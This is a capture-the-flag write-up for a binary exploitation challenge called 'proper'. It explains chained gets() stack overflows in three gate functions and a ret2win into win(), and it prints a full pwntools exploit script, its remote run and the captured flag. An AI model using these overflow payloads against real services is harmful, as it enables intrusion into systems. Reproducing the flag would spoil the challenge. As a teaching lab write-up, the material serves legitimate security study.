Category: Pwn / Binary Exploitation
Difficulty: Medium
Flag: bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}
Challenge
We're given proper.zip containing four files:
$ unzip proper.zip
Archive: proper.zip
inflating: Dockerfile
inflating: flag.txt
inflating: proper
inflating: proper.c
The Dockerfile shows how the binary is built and served:
RUN gcc proper.c -o proper -fno-stack-protector -z execstack -no-pie
...
EXPOSE 1338
CMD ["socat", "TCP-LISTEN:1338,reuseaddr,fork", "EXEC:./proper"]
Key takeaways from this alone:
-
No stack canary (
-fno-stack-protector) -
No PIE (
-no-pie) → all addresses are fixed and known from the binary itself, no leak needed - The service is just the compiled binary piped over a raw TCP socket via
socat
checksec confirms:
RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX disabled No PIE
Source review
proper.c defines a chain of "gates" that must be passed in sequence, followed by a treasure_room():
main() → gate1() → gate2() → gate3() → treasure_room()
Every single one of these functions reads input with gets() — which performs zero bounds checking. That's the vulnerability, repeated four times with different local-variable layouts:
| Function | Local variables | Win condition |
|---|---|---|
gate1 |
gate (int), buffer[64] (int) |
overflow so gate != 0
|
gate2 |
gate, baby_chicken = 41, buffer[64] (long) |
overflow so gate != 0 while baby_chicken stays exactly 41
|
gate3 |
gate, buffer[67] (char) |
overflow so gate == 13371337 exactly |
treasure_room |
buffer[6767] (char) |
no check at all — classic ret2win: overwrite the saved return address with win()'s address |
win() is the target:
void win() {
printf("\n[-] oh my goodness, you're the greatest C pwner of all time...\n");
system("/bin/cat flag.txt");
exit(0);
}
Recovering exact stack offsets
C doesn't guarantee declaration order matches memory layout, so offsets were pulled directly from objdump -d proper -M intel --disassemble=<func> rather than guessed from source.
gate1 — sub rsp, 0x110 (272); gate at [rbp-0x4], buffer at [rbp-0x110]
→ offset buffer → gate = 0x110 - 0x4 = 268 bytes
gate2 — sub rsp, 0x210 (528); gate at [rbp-0x4], baby_chicken at [rbp-0x8], buffer at [rbp-0x210]
→ offset buffer → baby_chicken = 520 bytes, buffer → gate = 524 bytes
(baby_chicken sits before gate in memory — its value has to be preserved through the overflow)
gate3 — sub rsp, 0x50 (80); gate at [rbp-0x4], buffer at [rbp-0x50]
4012f5: 3d c9 07 cc 00 cmp eax,0xcc07c9
→ offset = 76 bytes; 0xcc07c9 = 13371337 decimal, confirming the source's magic number.
treasure_room — total stack allocation 0x1000 + 0xa70 = 0x1a70 (6768), buffer at [rbp-0x1a70]
→ offset buffer → saved RBP = 6768 bytes, followed by 8 bytes of saved RBP (junk), then 8 bytes for the return address.
win is at a fixed address (no PIE): 0x40123b.
First attempt: SIGSEGV
The first exploit (all offsets above, directly overwriting the return address with win()'s address) got through all three gates and even started executing win() — the "greatest C pwner" message printed — but then crashed:
[*] oh my goodness, you're the greatest C pwner of all time...
[*] Got EOF while reading in interactive
$ ls
[*] Process './proper' stopped with exit code -11 (SIGSEGV)
Cause: stack alignment. Modern glibc's system() uses SSE instructions (movaps) internally that require the stack to be 16-byte aligned at call time. Jumping directly into a function via an overwritten return address can leave the stack pointer's parity off by 8 bytes even when the offset itself is arithmetically correct, causing a crash inside system() before /bin/cat flag.txt ever runs. This is a well-known gotcha in ret2win/ret2system exploitation on modern (Ubuntu 18.04+) glibc.
Fix: insert one extra ret gadget before the address of win() in the payload. It just pops one more 8-byte value and jumps again — pure alignment nudge, no logic change. A free ret gadget was already sitting at the end of gate1's disassembly:
401419: c9 leave
40141a: c3 ret
0x40141a → single ret instruction, reused as the alignment-fix gadget.
Exploit script
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
# Usage:
# ./exploit.py -> run locally against ./proper
# ./exploit.py HOST PORT -> run against remote socat service
WIN_ADDR = 0x40123b
RET_GADGET = 0x40141a # single `ret` instruction, borrowed from end of gate1 -- fixes stack alignment before calling win()/system()
if len(sys.argv) >= 3:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
p = process('./proper')
# --- Gate 1 ---
# offset buffer -> gate = 268 bytes, just need gate != 0
payload1 = b'A' * 268 + p32(1)
p.sendline(payload1)
log.info(p.recvuntil(b'\n', timeout=2))
# --- Gate 2 ---
# offset buffer -> baby_chicken = 520, buffer -> gate = 524
# must preserve baby_chicken == 41 (0x29) while making gate != 0
payload2 = b'A' * 520 + p32(41) + p32(1)
p.sendline(payload2)
log.info(p.recvuntil(b'\n', timeout=2))
# --- Gate 3 ---
# offset buffer -> gate = 76, must equal 13371337 exactly
payload3 = b'A' * 76 + p32(13371337)
p.sendline(payload3)
log.info(p.recvuntil(b'\n', timeout=2))
# --- treasure_room: ret2win ---
# offset buffer -> saved RBP = 6768, then 8 bytes junk RBP, then return address
# extra RET_GADGET before WIN_ADDR fixes 16-byte stack alignment so system() doesn't SIGSEGV
payload4 = b'A' * 6768 + b'B' * 8 + p64(RET_GADGET) + p64(WIN_ADDR)
p.sendline(payload4)
p.interactive()
Run it with python3 exploit.py for a local test against ./proper, or python3 exploit.py <host> <port> to hit a remote instance.
Local test vs. remote
Running against the local binary from the zip first confirmed the exploit logic worked, but returned a placeholder flag baked into the local flag.txt:
$ python3 exploit.py
...
bronco{FAKEFAKEFAKE}
The real flag only lives on the actual challenge server. Pointing the same script at the remote host/port (via the remote(host, port) branch already built into the script) using the connection info from the CTF platform:
nc 0.cloud.chals.io 21543
$ python3 exploit.py 0.cloud.chals.io 21543
[+] Opening connection to 0.cloud.chals.io on port 21543: Done
[+] Well done. Gate 1 opens.
[+] Well done. Gate 2 opens.
[+] Gate 3 opens, and you find some treasure. It says 'win() is that way, located at 0x40123b'
TREASURE?
[*] oh my goodness, you're the greatest C pwner of all time. yoshie bows down to your prowess.
bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}
Same binary, same offsets, same addresses (no PIE means the local zip's copy and the remote deployed copy behave identically) — the exploit transferred over with zero changes beyond the host/port arguments.
Flag
bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}
Takeaways
-
gets()is always a red flag. No bounds checking whatsoever; any challenge using it is signaling a straightforward stack overflow. -
Trust the disassembly, not the source, for offsets. Compilers reorder locals and add alignment padding —
objdump/gdbgive ground truth. -
Watch variable ordering on the stack.
gate2'sbaby_chickensat beforegatein memory, meaning the overflow payload had to explicitly preserve its value rather than just pad through it. -
No PIE + no canary = deterministic addresses.
win()'s address could be hardcoded directly into the exploit with no leak required. -
Stack alignment matters for ret2win/ret2system. A crash immediately at (or inside) a
system()/printf()-style call after otherwise-correct exploitation is a strong signal to try adding/removing a singleretgadget to fix 16-byte alignment before the target function'scall. - Local test binaries often ship dummy flags. Confirm you're hitting the actual remote service before assuming an exploit is broken — a "wrong flag" locally can just mean a placeholder, not a failed exploit.
Top comments (0)